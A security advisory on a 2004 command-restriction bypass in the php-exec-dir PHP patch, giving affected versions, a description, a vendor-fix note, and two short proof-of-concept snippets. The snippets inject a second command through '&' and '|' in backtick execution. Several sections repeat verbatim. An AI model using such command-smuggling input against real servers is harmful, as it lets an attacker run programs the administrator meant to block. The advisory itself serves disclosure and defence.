php-exec-dir Patch Command Access Restriction Bypass Vulnerability
BID:10598
Info
php-exec-dir Patch Command Access Restriction Bypass Vulnerability
| Bugtraq ID: | 10598 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 23 2004 12:00AM |
| Updated: | Jun 23 2004 12:00AM |
| Credit: | Disclosure of this issue is credited to "VeNoMouS" <[email protected]>. |
| Vulnerable: |
kyberdigi labs php-exec-dir 4.3.7 kyberdigi labs php-exec-dir 4.3.6 kyberdigi labs php-exec-dir 4.3.5 kyberdigi labs php-exec-dir 4.3.4 kyberdigi labs php-exec-dir 4.3.3 kyberdigi labs php-exec-dir 4.3.2 |
| Not Vulnerable: | |
Discussion
php-exec-dir Patch Command Access Restriction Bypass Vulnerability
Reportedly php-exec-dir patch is vulnerable to a command access restriction bypass vulnerability. This issue arises due to an input validation error that allow a user to execute files outside of the specified directory.
Successful exploitation of this issue will allow an attacker that has control of input to a command execution function to execute files that are outside of the specified directory. Administrators might have a false sense of security due to this issue.
Reportedly php-exec-dir patch is vulnerable to a command access restriction bypass vulnerability. This issue arises due to an input validation error that allow a user to execute files outside of the specified directory.
Successful exploitation of this issue will allow an attacker that has control of input to a command execution function to execute files that are outside of the specified directory. Administrators might have a false sense of security due to this issue.
Exploit / POC
php-exec-dir Patch Command Access Restriction Bypass Vulnerability
No exploit is required to leverage this issue. The following examples are available:
<?php
$blah = `& /bin/ps aux`;
echo nl2br($blah);
?>
<?php
$blah = `| /bin/ps aux`;
echo nl2br($blah);
?>
^The space character is required after the pipe character.
No exploit is required to leverage this issue. The following examples are available:
<?php
$blah = `& /bin/ps aux`;
echo nl2br($blah);
?>
<?php
$blah = `| /bin/ps aux`;
echo nl2br($blah);
?>
^The space character is required after the pipe character.
Solution / Fix
php-exec-dir Patch Command Access Restriction Bypass Vulnerability
Solution:
It is reported that the vendor has released updates to address this issue. At the time of writing, the website on which the patches are reported to reside is not available. It is reported that the patches may be retrieved from the following site:
http://kyebrdigi.cz/projects/execdir
php-exec-dir users are advised to contact the vendor for further information regarding obtaining and applying appropriate patches.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
It is reported that the vendor has released updates to address this issue. At the time of writing, the website on which the patches are reported to reside is not available. It is reported that the patches may be retrieved from the following site:
http://kyebrdigi.cz/projects/execdir
php-exec-dir users are advised to contact the vendor for further information regarding obtaining and applying appropriate patches.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
php-exec-dir Patch Command Access Restriction Bypass Vulnerability
References:
References:
- PHP patch exec_dir (kyberdigi labs)